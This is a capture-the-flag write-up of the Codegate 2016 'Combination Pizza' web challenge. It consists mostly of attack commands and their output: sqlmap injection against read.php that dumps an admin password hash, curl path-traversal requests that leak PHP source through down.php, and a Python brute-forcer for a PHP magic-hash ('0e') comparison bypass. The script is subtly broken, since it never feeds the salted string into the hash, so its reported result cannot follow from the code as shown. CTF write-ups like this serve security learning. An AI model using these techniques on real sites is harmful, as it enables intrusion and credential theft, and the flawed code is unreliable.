Codegate 2016 - Combination Pizza - Web Challenge

Reading time ~3 minutes

Who doesn’t love Pizza? Well actually I can’t stand cheese but whatever, this challenge was fun but also quite easy. I started with standard recon, looking for low hanging fruit. I stumbled across the “blog” subsection of the website where there was a hint of a possible test point.


Not usually thinking this would lead to too much, I asked SQLMap to probe it a little bit for me and to my surprise it quickly identified the link WAS vulnerable in a trivial manner. We used SQLMap to map the database and pull data at our leisure:

We asked for the list of databases first:

sqlmap -u ' f00885da9ad9ad5fcccaa8fc1217e3ae/read.php?id=1' --dbs
available databases [2]:
[*] blog_db
[*] information_schema

Cool, we then go on to enumerate the tables and then fields. We can recover the hashed password this way:

sqlmap -u ' f00885da9ad9ad5fcccaa8fc1217e3ae/read.php?id=1' --tables -D blog_db
Database: blog_db
[2 tables]
| blog  |
| login |

Login sounds juicy we might find our Admin’s creds there?

sqlmap -u ' f00885da9ad9ad5fcccaa8fc1217e3ae/read.php?id=1' -D blog_db -T login --dump

Database: blog_db
Table: login
[1 entry]
| pass                                       | user   |
| 70e76a15da00e6301ade718cc9416f79           | Admin  |

Well the hashed version, we crack this md5 and found the password is just “adminpw”. So what else do we need? We need something called a “token” but yet we don’t even know how that was generated so we need to dig deeper. I decide to dump the blog table next:

sqlmap -u ' f00885da9ad9ad5fcccaa8fc1217e3ae/read.php?id=1' -D blog_db -T blog --dump
| id | file                                    | type   | title                | writer  | datetime   | contents                                                                                             |
| 0  | <a href="down.php?fn=poem.jpg">down</a> | hidden | Secret File          | Admin   | 2016-03-09 | <p>Once More...</p>                                                                                  |
| 1  | <blank>                                 | show   | Welcome to our site! | Manager | 2016-01-01 | <p>It's finally here!</p><p>We are proud to announce the launch of our newly redesigned website.</p> |
| 2  | <blank>                                 | show   | Blog Test            | Manager | 2016-02-13 | <p>Test</p><p>Test Test</p>                                                                          |
| 3  | <blank>                                 | show   | Updating NEW content | Manager | 2016-03-03 | <p>Updating NEW content...</p><p>Admin can read this ?</p>                                           |

Wait a minute! What’s that “hidden” post. Interesting, let’s download the poem.jpg and see (naive me!).


Welp thats no use. But what about down.php, what if we try other files. Well as luck may have it it works:

root@kali:~/codegate/web/pizza# curl -L 'http://175.119.158. 137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/down.php?fn=down.php'

        $filename = $_GET['fn'];
        $path = './upfile/' . $filename;

        Header("Content-type: application/octet-stream");
        Header("Content-Length: " . filesize($path));
        Header("Content-Disposition: attachment; filename=$filename");
        Header("Cache-Control: no-cache");

            $fp = fopen($path, "r");

We try and leak other files and find that the rest of the site lives in one directory up. We find the login source code here:

root@kali:~/codegate/web/pizza# curl -L 'http://175.119.158. 137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/down.php?fn=../login_ck.php'
    include "./lib/for_flag.php";
    include "./lib/lib.php";

    $user = mysql_real_escape_string($_POST['user']);
    $pass = mysql_real_escape_string($_POST['pass']);
    $token = $_POST['token'];

    $que = "select user from login where user='{$user}' and pass=md5('{$pass}')";
    $result = mysql_query($que);
    $row = mysql_fetch_array($result);

    if($row['user'] == 'Admin')
        if(md5("blog".$token) == '0e689047178306969035064392896674')
            echo "good job !!!
FLAG : "</span>.$flag."</b>";

Now we know the construction of the token which appears to be a MD5 hash salted with the word “blog”. It could ordinarily take a long time to find the magic number that results in this hash but we’re in luck because this particular hash has a backdoor in it. By that we mean the method the PHP code does the comparison between the input and the hash is flawed. The flaw exists because PHP treats any string in the format 0eN as a number. So if we can find any other hash that meats our constraints and consists of the form 0eN then this condition will evaluate to true. I have the following code for this task:


# Searches for an MD5 hash begining with 0e and containing only digits thereafter

import hashlib
import string
import itertools
import sys

salt = "blog"
example = "0e689047178306969035064392896674"
prefix = "0e"

assert(example[:2] == prefix)

print "[*] Searching for md5($salt.$string) == 0eN. where salt = " + salt

for i in itertools.product(string.ascii_letters,repeat = int(sys.argv[1])):
  pw = "".join(i)
  ma = hashlib.md5()
  salted = salt + pw

  if ma.hexdigest()[:2] == prefix:
    if ma.hexdigest()[2:].isdigit():
      print "[*] Found: " + ma.hexdigest() + " that comes from " + pw

We run and find a solution within 2 minutes:

root@kali:~/codegate/web/pizza# ./ 9
[*] Searching for md5($salt.$string) == 0eN where salt = blog
[*] Found: 0e371536854758618708164305994357 that comes from aaaajBaRM

So now we can login with:

  • Username: Admin
  • Password: adminpw
  • Token: aaaajBaRM

We do so and get the flag!

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